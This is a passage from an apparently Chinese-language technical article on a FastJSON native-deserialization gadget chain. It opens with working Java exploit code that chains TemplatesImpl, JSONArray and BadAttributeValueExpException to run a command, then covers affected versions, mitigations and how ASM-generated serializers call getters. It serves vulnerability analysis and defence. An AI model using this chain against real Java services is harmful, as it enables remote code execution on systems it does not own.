clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);

// 2. 创建TemplatesImpl载荷
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "EvilTemplates");
setFieldValue(templates, "_tfactory", null);

// 3. 包装到JSONArray中
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

// 4. 创建触发器
BadAttributeValueExpException trigger = new BadAttributeValueExpException(null);
setFieldValue(trigger, "val", jsonArray);

// 5. 序列化和反序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(trigger);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject(); // 触发恶意代码执行
}
}
  1. 版本影响和防护

4.1 影响版本

  • FastJSON 1.x:≤ 1.2.48 可直接利用
  • FastJSON 1.x:≥ 1.2.49 增加了SecureObjectInputStream检查
  • FastJSON 2.x:目前版本仍可利用(截至2.0.26)

4.2 1.2.49后的防护机制

1
2
3
4
5
6
7
8
9
10
11
12
// SecureObjectInputStream中的检查
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String name = desc.getName();

// 调用checkAutoType进行类型检查
if (name.equals("com.alibaba.fastjson.JSONObject")
|| name.equals("com.alibaba.fastjson.JSONArray")) {
TypeUtils.checkAutoType(name, null, Feature.SupportAutoType.mask);
}

return super.resolveClass(desc);
}

4.3 攻击特点

  • 绕过AutoType:不通过JSON字符串解析,而是通过原生反序列化
  • 无需开启AutoType:完全绕过AutoType相关检查
  • 利用序列化特性:巧妙利用FastJSON序列化时调用getter的特性
  1. 防护建议

  2. 升级版本:使用FastJSON 1.2.49+版本

  3. 输入验证:对反序列化输入进行严格验证

  4. 类白名单:限制可反序列化的类

  5. JVM参数:使用-Dcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.allowedProtocols=file等限制

  6. WAF防护:在应用层面检测和阻断恶意载荷

  7. 关键理解点

6.1 序列化vs反序列化

  • 攻击入口:原生Java反序列化(readObject
  • 攻击机制:FastJSON序列化过程(toJSONString
  • 关键误区:不是JSON字符串解析触发,而是序列化过程触发

6.2 技术细节澄清

  • ASM作用:动态生成高性能的序列化器代码,避免反射调用
  • getter调用时机:在序列化器的write方法执行时
  • 方法名获取method.getName()根据具体方法动态返回不同值
  • 字节码生成:为每个符合条件的getter方法生成调用指令

6.3 攻击链本质

这个攻击链的巧妙之处在于:

  1. 使用原生反序列化作为入口点,绕过FastJSON的安全检查
  2. 利用FastJSON序列化的副作用(调用getter方法)
  3. 通过TemplatesImpl.getOutputProperties()触发字节码加载和执行
  4. 整个过程无需JSON字符串,完全基于对象操作

这种攻击方式展示了在复杂软件系统中,不同组件交互产生的意外安全风险。

关于ASM和beaninfo的基础讲解

好的,我来详细解释BeanInfo和ASM的概念,然后深入分析第二步和第三步的原理。

  1. BeanInfo是什么?

BeanInfo是Java反射机制中用来描述JavaBean信息的类

JavaBean规范回顾

1
2
3
4
5
6
7
8
9
10
11
12
public class User {
private String name;
private int age;

// getter方法 - 符合getXxx()命名规范
public String getName() { return name; }
public int getAge() { return age; }

// setter方法 - 符合setXxx()命名规范
public void setName(String name) { this.name = name; }
public void setAge(int age) { this.age = age; }
}

BeanInfo的作用

BeanInfo会通过反射分析一个类,提取出:

  • 属性信息:哪些字段有getter/setter方法
  • 方法信息:所有的公共方法
  • 事件信息:监听器相关信息
1
2
3
4
5
6
7
8
9
10
// 获取User类的BeanInfo
BeanInfo beanInfo = Introspector.getBeanInfo(User.class);

// 获取属性描述符
PropertyDescriptor[] properties = beanInfo.getPropertyDescriptors();
for (PropertyDescriptor pd : properties) {
System.out.println("属性名: " + pd.getName());
System.out.println("读方法: " + pd.getReadMethod()); // getter方法
System.out.println("写方法: " + pd.getWriteMethod()); // setter方法
}

输出结果:

1
2
3
4
5
6
7
属性名: name
读方法: public String getName()
写方法: public void setName(String)

属性名: age
读方法: public int getAge()
写方法: public void setAge(int)
  1. ASM是什么?

ASM是一个Java字节码操作框架,可以动态生成类或者修改现有类的字节码

为什么需要ASM?

传统的反射调用性能较差:

1
2
3
// 反射调用getter方法 - 慢
Method getter = obj.getClass().getMethod("getName");
String name = (String) getter.invoke(obj);

ASM可以动态生成高性能的调用代码:

1
2
// ASM生成的代码等价于直接调用 - 快
String name = obj.getName();

ASM如何工作?

ASM使用访问者模式操作字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 创建一个类写入器
ClassWriter cw = new ClassWriter(0);

// 定义类
cw.visit(V1_8, ACC_PUBLIC, "GeneratedClass", null, "java/lang/Object", null);

// 定义方法
MethodVisitor mv = cw.visitMethod(ACC_PUBLIC, "callGetter",
"(Ljava/lang/Object;)Ljava/lang/String;", null, null);

// 生成方法体字节码
mv.visitVarInsn(ALOAD, 1); // 加载参数
mv.visitTypeInsn(CHECKCAST, "User"); // 类型转换
mv.visitMethodInsn(INVOKEVIRTUAL, "User", "getName",
"()Ljava/lang/String;", false); // 调用getName()
mv.visitInsn(ARETURN); // 返回结果

// 完成方法
mv.visitMaxs(1, 2);
mv.visitEnd();

// 获取生成的字节码
byte[] bytecode = cw.toByteArray();
  1. 第二步深入解析:createJavaBeanSerializer

让我们看看FastJSON是如何提取BeanInfo的:

1
2
3
4
5
6
7
8
9
10
public final ObjectSerializer createJavaBeanSerializer(Class<?> clazz) {
// 1. 构建BeanInfo - 这是关键步骤
SerializeBeanInfo beanInfo = TypeUtils.buildBeanInfo(clazz, null,
this.propertyNamingStrategy, this.fieldBased);

// 2. 根据BeanInfo创建序列化器
return beanInfo.fields.length == 0 && Iterable.class.isAssignableFrom(clazz)
? MiscCodec.instance
: this.createJavaBeanSerializer(beanInfo);
}

TypeUtils.buildBeanInfo做了什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static SerializeBeanInfo buildBeanInfo(Class<?> beanType, ...) {
// 1. 通过反射获取所有方法
Method[] methods = beanType.getMethods();

List<FieldInfo> fieldInfoList = new ArrayList<>();

// 2. 遍历所有方法,找出getter方法
for (Method method : methods) {
String methodName = method.getName();

// 3. 判断是否为getter方法
if (methodName.startsWith("get") && methodName.length() > 3) {
// getXxx() -> xxx
String propertyName = methodName.substring(3);
propertyName = Character.toLowerCase(propertyName.charAt(0))
+ propertyName.substring(1);

// 4. 创建FieldInfo,包含方法信息
FieldInfo fieldInfo = new FieldInfo(propertyName, method, ...);
fieldInfoList.add(fieldInfo);
}
// 类似处理isXxx()方法
else if (methodName.startsWith("is") && methodName.length() > 2) {
// ...
}
}

// 5. 返回包含所有getter信息的BeanInfo
return new SerializeBeanInfo(beanType, fieldInfoList.toArray(...));
}

FieldInfo包含什么?

1
2
3
4
5
6
7
public class FieldInfo {
public final String name; // 属性名:name
public final Method method; // getter方法:getName()
public final Field field; // 对应的字段
public final Class<?> fieldClass; // 字段类型:String
// ...
}

所以第二步的本质是:通过反射扫描类的所有方法,识别出符合getter命名规范的方法,并将这些信息封装成FieldInfo对象。

  1. 第三步深入解析:ASM动态生成序列化代码

generateWriteMethod做了什么?

FastJSON会为每个类动态生成一个序列化器类,类似这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 原始的User类
public class User {
public String getName() { return name; }
public int getAge() { return age; }
}

// ASM动态生成的序列化器类(伪代码)
public class UserSerializer implements ObjectSerializer {
public void write(JSONSerializer serializer, Object object, ...) {
User user = (User) object;

// 调用getName()方法获取值
String name = user.getName(); // 这里就触发了getter!
serializer.writeFieldValue(',', "name", name);

// 调用getAge()方法获取值
int age = user.getAge(); // 这里也触发了getter!
serializer.writeFieldValue(',', "age", age);
}
}

ASM如何生成这些调用?

让我们看看_get方法是如何生成字节码的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void _get(MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) {
Method method = fieldInfo.method; // 这就是getName()方法
if (method != null) {
// 1. 加载对象到栈顶
mw.visitVarInsn(ALOAD, context.var("entity"));

// 2. 调用getter方法
Class<?> declaringClass = method.getDeclaringClass();
mw.visitMethodInsn(
declaringClass.isInterface() ? INVOKEINTERFACE : INVOKEVIRTUAL,
ASMUtils.type(declaringClass), // User
method.getName(), // getName
ASMUtils.desc(method) // ()Ljava/lang/String;
);

// 3. 如果需要类型转换
if (!method.getReturnType().equals(fieldInfo.fieldClass)) {
mw.visitTypeInsn(CHECKCAST, ASMUtils.type(fieldInfo.fieldClass));
}
}
}

这段代码生成的字节码等价于:

1
2
3
4
// 加载对象
User user = (User) entity;
// 调用方法
String result = user.getName();
  1. 完整流程梳理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
原始对象 User

1. toString() 被调用

2. buildBeanInfo() 扫描User类
- 发现getName()方法
- 创建FieldInfo("name", getName方法, ...)

3. ASM生成序列化器代码
- 为每个FieldInfo生成调用代码
- 生成 user.getName() 的字节码

4. 执行生成的序列化器
- 调用 user.getName() ← 这里触发了getter!

5. 如果getName()是恶意方法
- 触发任意代码执行
  1. 攻击利用

攻击者利用TemplatesImpl类:

1
2
3
4
5
6
7
8
public class TemplatesImpl {
// 这个getter方法会触发字节码加载和执行!
public Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties(); // 触发恶意代码
} catch (...) { ... }
}
}

当FastJSON序列化TemplatesImpl对象时:

  1. 扫描到getOutputProperties()方法
  2. ASM生成调用代码
  3. 执行时调用getOutputProperties()
  4. 触发恶意字节码执行

这就是为什么FastJSON能通过原生反序列化绕过AutoType检查的原理 - 它不是通过JSON解析,而是通过Java序列化机制间接触发getter方法执行恶意代码。